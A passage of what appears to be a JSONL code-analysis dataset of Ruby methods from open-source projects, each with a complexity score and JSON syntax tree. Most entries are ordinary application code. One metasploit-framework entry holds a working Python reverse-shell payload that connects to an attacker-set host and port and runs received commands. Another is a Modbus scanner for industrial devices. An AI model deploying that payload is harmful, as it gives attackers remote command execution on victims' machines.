end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"tid\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"[]\",{\"type\":\"str\",\"children\":[\"sidekiq_tid\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"current\"]},\"object_id\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Process\"]},\"pid\"]}]}]},\"to_s\",{\"type\":\"int\",\"children\":[36]}]}]}]}","id":"157af65b-6e10-482f-8c5d-a74ce952a667"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/account_serializer.rb","start_line":55,"raw_source":"def id\n object.id.to_s\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]},\"to_s\"]}]}","id":"812930df-eab6-493c-aff9-1a4e55dfd6ef"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration_test.rb","start_line":1498,"raw_source":"def test_updating_auto_increment\n with_bulk_change_table do |t|\n t.change :id, :bigint, auto_increment: true\n end\n\n assert_predicate column(:id), :auto_increment?\n\n with_bulk_change_table do |t|\n t.change :id, :bigint, auto_increment: false\n end\n assert_not column(:id).auto_increment?\n end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_updating_auto_increment\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_bulk_change_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_increment\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"sym\",\"children\":[\"id\"]}]},{\"type\":\"sym\",\"children\":[\"auto_increment?\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_bulk_change_table\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"change\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"sym\",\"children\":[\"bigint\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"auto_increment\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column\",{\"type\":\"sym\",\"children\":[\"id\"]}]},\"auto_increment?\"]}]}]}]}","id":"3d3dd973-9966-4e53-811e-74de5fc6c234"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/resource/project.rb","start_line":498,"raw_source":"def has_job?(job_name)\n !!job_by_name(job_name)\n end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"has_job?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"job_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"job_by_name\",{\"type\":\"lvar\",\"children\":[\"job_name\"]}]},\"!\"]},\"!\"]}]}","id":"ab085b49-60ee-4acb-9ccd-c0b3bd445bec"} {"repo_name":"reek","file_path":"./repos/reek/samples/smelly_source/optparse.rb","start_line":603,"raw_source":"def search(id, key)\n if list = __send__(id)\n val = list.fetch(key) {return nil}\n block_given? ? yield(val) : val\n end\n end","complexity_score":10.3,"ast_json":"{\"type\":\"def\",\"children\":[\"search\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]},{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[null,\"__send__\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"val\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"fetch\",{\"type\":\"lvar\",\"children\":[\"key\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"block_given?\"]},{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"val\"]}]},{\"type\":\"lvar\",\"children\":[\"val\"]}]}]},null]}]}","id":"6fe1c351-045e-48f8-8a07-003329c75841"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/bulk_import.rb","start_line":119,"raw_source":"def namespaces_with_unassigned_placeholders\n namespaces = destination_group_roots\n namespace_ids = namespaces.collect(&:id)\n\n reassignable_statuses = Import::SourceUser::STATUSES.slice(*Import::SourceUser::REASSIGNABLE_STATUSES).values\n source_users = Import::SourceUser.for_namespace(namespace_ids).by_statuses(reassignable_statuses)\n valid_namespace_ids = source_users.collect(&:namespace_id).uniq\n\n namespaces.select { |namespace| valid_namespace_ids.include?(namespace.id) }\n end","complexity_score":20.6,"ast_json":"{\"type\":\"def\",\"children\":[\"namespaces_with_unassigned_placeholders\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"namespaces\",{\"type\":\"send\",\"children\":[null,\"destination_group_roots\"]}]},{\"type\":\"lvasgn\",\"children\":[\"namespace_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"reassignable_statuses\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SourceUser\"]},\"STATUSES\"]},\"slice\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SourceUser\"]},\"REASSIGNABLE_STATUSES\"]}]}]},\"values\"]}]},{\"type\":\"lvasgn\",\"children\":[\"source_users\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Import\"]},\"SourceUser\"]},\"for_namespace\",{\"type\":\"lvar\",\"children\":[\"namespace_ids\"]}]},\"by_statuses\",{\"type\":\"lvar\",\"children\":[\"reassignable_statuses\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"valid_namespace_ids\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"source_users\"]},\"collect\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace_id\"]}]}]},\"uniq\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespaces\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"namespace\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"valid_namespace_ids\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"namespace\"]},\"id\"]}]}]}]}]}","id":"8bf67351-38d7-410d-93d9-79ff62ea59e6"} {"repo_name":"haml","file_path":"./repos/haml/lib/haml/parser.rb","start_line":839,"raw_source":"def is_ruby_multiline?(text)\n text && text.length > 1 && text[-1] == ?, &&\n !((text[-3, 2] =~ /\\W\\?/) || text[-3, 2] == \"?\\\\\")\n end","complexity_score":18.75,"ast_json":"{\"type\":\"def\",\"children\":[\"is_ruby_multiline?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"length\"]},\">\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]}]},\"==\",{\"type\":\"str\",\"children\":[\",\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"int\",\"children\":[-3]},{\"type\":\"int\",\"children\":[2]}]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W\\\\?\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"[]\",{\"type\":\"int\",\"children\":[-3]},{\"type\":\"int\",\"children\":[2]}]},\"==\",{\"type\":\"str\",\"children\":[\"?\\\\\"]}]}]}]},\"!\"]}]}]}","id":"432f838a-f8c5-458b-97c2-40732493e2af"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":461,"raw_source":"def parse(buffer)\n super do\n @process_id = buffer.read_int32_network\n @secret_key = buffer.read_int32_network\n end\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buffer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@process_id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"read_int32_network\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@secret_key\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"read_int32_network\"]}]}]}]}]}","id":"7c6a37ff-90cb-41c7-a29e-ab062a67d744"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/query/results.rb","start_line":190,"raw_source":"def columns_hash_for(association = nil)\n if association\n WorkPackage.reflections[association].klass.columns_hash\n else\n WorkPackage.columns_hash\n end\n end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"columns_hash_for\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"association\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"association\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"reflections\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"association\"]}]},\"klass\"]},\"columns_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"columns_hash\"]}]}]}","id":"b3fbf876-15be-4e00-a1da-acf299852ef9"} {"repo_name":"forem","file_path":"./repos/forem/app/models/reaction_category.rb","start_line":28,"raw_source":"def privileged\n list.filter_map { |category| category.slug if category.privileged? }\n end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"privileged\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"list\"]},\"filter_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"category\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"privileged?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"category\"]},\"slug\"]},null]}]}]}","id":"10b9c7b9-33a6-4644-9b47-db1c4c14b6ec"} {"repo_name":"rails","file_path":"./repos/rails/actionmailer/lib/action_mailer/base.rb","start_line":910,"raw_source":"def set_content_type(m, user_content_type, class_default) # :doc:\n params = m.content_type_parameters || {}\n case\n when user_content_type.present?\n user_content_type\n when m.has_attachments?\n if m.attachments.all?(&:inline?)\n [\"multipart\", \"related\", params]\n else\n [\"multipart\", \"mixed\", params]\n end\n when m.multipart?\n [\"multipart\", \"alternative\", params]\n else\n m.content_type || class_default\n end\n end","complexity_score":18.5,"ast_json":"{\"type\":\"def\",\"children\":[\"set_content_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]},{\"type\":\"arg\",\"children\":[\"user_content_type\"]},{\"type\":\"arg\",\"children\":[\"class_default\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"params\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"content_type_parameters\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_content_type\"]},\"present?\"]},{\"type\":\"lvar\",\"children\":[\"user_content_type\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"has_attachments?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"attachments\"]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"inline?\"]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart\"]},{\"type\":\"str\",\"children\":[\"related\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart\"]},{\"type\":\"str\",\"children\":[\"mixed\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"multipart?\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart\"]},{\"type\":\"str\",\"children\":[\"alternative\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"content_type\"]},{\"type\":\"lvar\",\"children\":[\"class_default\"]}]}]}]}]}","id":"8cec69d8-4762-4d7c-ac9d-fcaaa42d472a"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/controllers/meeting_sections_controller.rb","start_line":229,"raw_source":"def set_collapsed_state\n @collapsed = ActiveModel::Type::Boolean.new.cast(params[:collapsed])\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"set_collapsed_state\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@collapsed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveModel\"]},\"Type\"]},\"Boolean\"]},\"new\"]},\"cast\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"collapsed\"]}]}]}]}]}","id":"fbb5a4fe-c2fc-4e3e-a3e7-bf012ec52735"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/python/shell_reverse_sctp.rb","start_line":44,"raw_source":"def command_string\n cmd = <<~PYTHON\n import socket as s\n import subprocess as r\n so=s.socket(s.AF_INET,s.SOCK_STREAM,132)\n so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))\n while True:\n d=so.recv(1024)\n if len(d)==0:\n break\n p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)\n o=p.stdout.read()+p.stderr.read()\n try:\n so.send(o)\n except OSError as e:\n if e.errno != 22:\n raise\n PYTHON\n\n py_create_exec_stub(cmd)\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"command_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"import socket as s\\n\"]},{\"type\":\"str\",\"children\":[\"import subprocess as r\\n\"]},{\"type\":\"str\",\"children\":[\"so=s.socket(s.AF_INET,s.SOCK_STREAM,132)\\n\"]},{\"type\":\"str\",\"children\":[\"so.connect(('\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LHOST\"]}]}]},{\"type\":\"str\",\"children\":[\"',\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LPORT\"]}]}]},{\"type\":\"str\",\"children\":[\"))\\n\"]},{\"type\":\"str\",\"children\":[\"while True:\\n\"]},{\"type\":\"str\",\"children\":[\" d=so.recv(1024)\\n\"]},{\"type\":\"str\",\"children\":[\" if len(d)==0:\\n\"]},{\"type\":\"str\",\"children\":[\" break\\n\"]},{\"type\":\"str\",\"children\":[\" p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)\\n\"]},{\"type\":\"str\",\"children\":[\" o=p.stdout.read()+p.stderr.read()\\n\"]},{\"type\":\"str\",\"children\":[\" try:\\n\"]},{\"type\":\"str\",\"children\":[\" so.send(o)\\n\"]},{\"type\":\"str\",\"children\":[\" except OSError as e:\\n\"]},{\"type\":\"str\",\"children\":[\" if e.errno != 22:\\n\"]},{\"type\":\"str\",\"children\":[\" raise\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"py_create_exec_stub\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}","id":"375adac0-5d65-4bd4-82c4-c84d591036cc"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/scada/modbusclient.rb","start_line":197,"raw_source":"def read_discrete_inputs\n if datastore['NUMBER'] + datastore['DATA_ADDRESS'] > 65535\n print_error('DISCRETE INPUT addresses go from 0 to 65535. You cannot go beyond.')\n return\n end\n @function_code = 0x2\n print_status('Sending READ DISCRETE INPUTS...')\n response = send_frame(make_read_payload)\n values = []\n if response.nil?\n print_error('No answer for the READ DISCRETE INPUTS')\n return\n elsif response.unpack('C*')[7] == (0x80 | @function_code)\n handle_error(response)\n elsif response.unpack('C*')[7] == @function_code\n loop = (datastore['NUMBER'] - 1) / 8\n for i in 0..loop\n bin_value = response[9 + i].unpack('b*')[0]\n list = bin_value.split('')\n for j in 0..7\n list[j] = list[j].to_i\n values[i * 8 + j] = list[j]\n end\n end\n values = values[0..(datastore['NUMBER'] - 1)]\n print_good(\"#{datastore['NUMBER']} DISCRETE INPUT values from address #{datastore['DATA_ADDRESS']} : \")\n print_good(values.to_s)\n else\n print_error('Unknown answer')\n end\n end","complexity_score":91.88,"ast_json":"{\"type\":\"def\",\"children\":[\"read_discrete_inputs\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NUMBER\"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DATA_ADDRESS\"]}]}]},\">\",{\"type\":\"int\",\"children\":[65535]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"DISCRETE INPUT addresses go from 0 to 65535. You cannot go beyond.\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@function_code\",{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending READ DISCRETE INPUTS...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[null,\"send_frame\",{\"type\":\"send\",\"children\":[null,\"make_read_payload\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"No answer for the READ DISCRETE INPUTS\"]}]},{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},\"==\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[128]},\"|\",{\"type\":\"ivar\",\"children\":[\"@function_code\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"handle_error\",{\"type\":\"lvar\",\"children\":[\"response\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"unpack\",{\"type\":\"str\",\"children\":[\"C*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[7]}]},\"==\",{\"type\":\"ivar\",\"children\":[\"@function_code\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"loop\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NUMBER\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"/\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"i\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"loop\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bin_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"int\",\"children\":[9]},\"+\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"b*\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bin_value\"]},\"split\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"for\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"j\"]},{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[7]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"j\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"j\"]}]},\"to_i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"*\",{\"type\":\"int\",\"children\":[8]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"j\"]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"values\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NUMBER\"]}]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"NUMBER\"]}]}]},{\"type\":\"str\",\"children\":[\" DISCRETE INPUT values from address \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DATA_ADDRESS\"]}]}]},{\"type\":\"str\",\"children\":[\" : \"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"values\"]},\"to_s\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unknown answer\"]}]}]}]}]}]}]}","id":"212232c3-83fa-4ded-8e28-d1164df6771b"} {"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/physical_server_firmware_update_task/state_machine.rb","start_line":23,"raw_source":"def finish\n if status != 'Error'\n _log.info(\"Executing firmware update task: [#{description}]... Complete\")\n else\n _log.info(\"Executing firmware update task: [#{description}]... Errored\")\n end\n end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"finish\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"status\"]},\"!=\",{\"type\":\"str\",\"children\":[\"Error\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing firmware update task: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\"]... Complete\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"_log\"]},\"info\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Executing firmware update task: [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"description\"]}]},{\"type\":\"str\",\"children\":[\"]... Errored\"]}]}]}]}]}","id":"9447e0ba-cfc8-47b3-badc-0711f791b55e"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/spammable_actions/akismet_mark_as_spam_action.rb","start_line":22,"raw_source":"def authorize_submit_spammable!\n access_denied! unless current_user.can_admin_all_resources?\n end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"authorize_submit_spammable!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"can_admin_all_resources?\"]},null,{\"type\":\"send\",\"children\":[null,\"access_denied!\"]}]}]}","id":"a7834bb3-a5c9-4b54-b4a0-afe8382eeb1a"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/contracts/meeting_agenda_items/create_contract.rb","start_line":51,"raw_source":"def user_allowed_to_add\n # when creating a meeting agenda item from the work package tab and not 